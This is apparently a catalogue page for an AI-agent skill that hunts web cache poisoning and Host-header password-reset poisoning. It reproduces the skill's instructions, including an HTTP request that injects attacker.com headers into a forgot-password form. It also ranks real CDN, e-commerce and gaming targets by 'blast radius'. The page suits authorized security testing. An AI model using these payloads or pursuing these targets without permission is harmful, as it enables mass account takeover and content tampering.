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Security48k · #3246

hunt-cache-poison

Makes your agent look for flaws that can corrupt the cache. It helps ensure that displayed information is correct and secure.

What it does

This tool helps find security flaws in websites that use caching systems. It looks for ways to trick the cache into showing incorrect or malicious information to many users at once.

When to use it

  • ✓When testing a website's security with permission.
  • ✓To understand how website caches can be attacked.
  • ✓In controlled lab environments for learning.

Example of what to ask your AI

“Hunt for cache poisoning vulnerabilities on example.com”

Want more? Open the sections below.

How to use

The easiest way: copy the message below and paste it into Claude, ChatGPT, Cursor or any AI. It reads the skill and follows the instructions.

Skill link

https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/hunt-cache-poison/SKILL.md

Ready-to-paste message

Use this skill to help me: https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/hunt-cache-poison/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
How it works

The tool sends modified requests to the website, attempting to make the cache system store an incorrect response. If successful, future users accessing the site will receive this modified response.

Installation

Easiest way: copy the skill link and paste it into Claude, ChatGPT or Cursor asking it to follow the instructions.

In the terminal (Claude Code, Codex, Cursor), in your project folder:

npx skills add sickn33/agentic-awesome-skills --skill hunt-cache-poison

Or download just the file:

curl -L https://raw.githubusercontent.com/sickn33/agentic-awesome-skills/main/plugins/agentic-awesome-skills-claude/skills/hunt-cache-poison/SKILL.md -o SKILL.md
Technical content (original SKILL.md)

Original text by the author, straight from GitHub.

⚠️ AUTHORIZED USE ONLY This skill is for educational purposes or authorized security assessments only. You must have explicit, written permission from the system owner before using this tool. Misuse of this tool is illegal and strictly prohibited.

Mandatory confirmation gate Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:

  1. Ask the user to state the exact target URL, IP, account, or resource.
  2. Ask the user to confirm written authorization and the permitted scope.
  3. Show the exact command(s) and explain their expected effect.
  4. Wait for explicit confirmation in the current conversation.

Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

Crown Jewel Targets

Cache poisoning is high-value because a single poisoned cache entry can affect thousands or millions of victims simultaneously — one request, mass exploitation. Payout scales with blast radius.

Highest-value targets:

  • CDN-served assets (cdn.shopify.com, cloudfront distributions, Fastly/Akamai edges) — poisoning these affects every visitor globally
  • E-commerce platforms with affiliate/referral flows (Shopify, WooCommerce storefronts) — session hijack or affiliate fraud potential
  • Gaming platforms with update servers (rockstargames updates.* domains) — DoS on update delivery = widespread client breakage
  • Authentication endpoints served through caches — leads to account takeover (the highest severity variant)
  • Asset CDNs (JS/CSS delivery) — XSS payload delivery at scale
  • SaaS multi-tenant platforms — one poisoned response bleeds into all tenants sharing a cache key

Asset types that pay most: CDN hostnames, subdomain-per-tenant patterns, update/download servers, login/account pages cached incorrectly, affiliate link shorteners.


Autonomous Testing Priority

Two distinct attacks live under this skill — target the simpler one first.

Attack 1 — Password Reset Poisoning (Host header injection):

The app uses the Host header to construct the password reset link in the email. Inject an attacker-controlled hostname; the victim's reset email contains a link to your server.

POST /forgot-password
Host: attacker.com
X-Forwarded-Host: attacker.com
X-Host: attacker.com

email=victim@target.com
Content-Type: application/x-www-form-urlencoded

Use a distinctive hostname you control or can identify in the response. Proof: the injected hostname appears in the response body (some apps reflect the generated reset link), or the action succeeds (2xx with a "reset email sent" message) after injection — confirming the poisoned link would be sent to the victim.

Try multiple host headers — apps vary in which one they trust (X-Forwarded-Host is most common, but Host itself also works when the proxy passes it through).

Attack 2 — Web Cache Poisoning:

Inject the attacker-controlled hostname into X-Forwarded-Host on a GET request for a cacheable page. If the hostname is reflected in the response body AND the response gets cached, subsequent visitors receive the poisoned response.

Check for cache signals in the response: X-Cache: HIT, CF-Cache-Status: HIT, Age: <nonzero>, or Via: cloudfront/varnish/fastly.

Proof for both: injected value reflected in response body, or action completed successfully despite the manipulated header.


Attack Surface Signals

URL patterns to look for:

  • cdn., assets., static., updates., downloads. subdomains
  • URL path structures with extensions that look static: /path/to/page.css, /account.php/nonexistent.jpg
  • Affiliate/link shortener endpoints: /link/, /go/, /ref/, /out/
  • Paths that mix dynamic content with cacheable-looking URLs

Response headers that signal a cache:

X-Cache: HIT / MISS
X-Cache-Status: HIT
CF-Cache-Status: HIT / MISS (Cloudflare)
Age: <nonzero>
Via: 1.1 varnish / cloudfront / fastly
Cache-Control: public, max-age=...
Surrogate-Control: max-age=...
X-Served-By: cache-...

JS/tech stack signals:

  • Fastly, Varnish, Cloudfront, Akamai, Nginx proxy_cache in response headers
  • Shopify/Linkpop stacks with third-party integrations
  • Platforms using path-based routing without normalizing trailing segments

…

FAQ

What is 'cache poisoning'?

It's an attack where an attacker tricks a website's cache system into storing malicious or incorrect information. When other users access the site, they receive this wrong information.

Why is this dangerous?

A single attack can affect thousands or millions of users simultaneously, as they all receive the same poisoned information from the cache.

Do I need permission to use this?

Yes, it is crucial to have explicit, written permission from the system owner before using this tool. Unauthorized use is illegal.

Details

Original description by the author

Hunting skill for cache poison vulnerabilities.

repo: sickn33/agentic-awesome-skills

Popularity

GitHub stars
48k
Ranking position
#3246
License
MIT
Updated
10/15/2026

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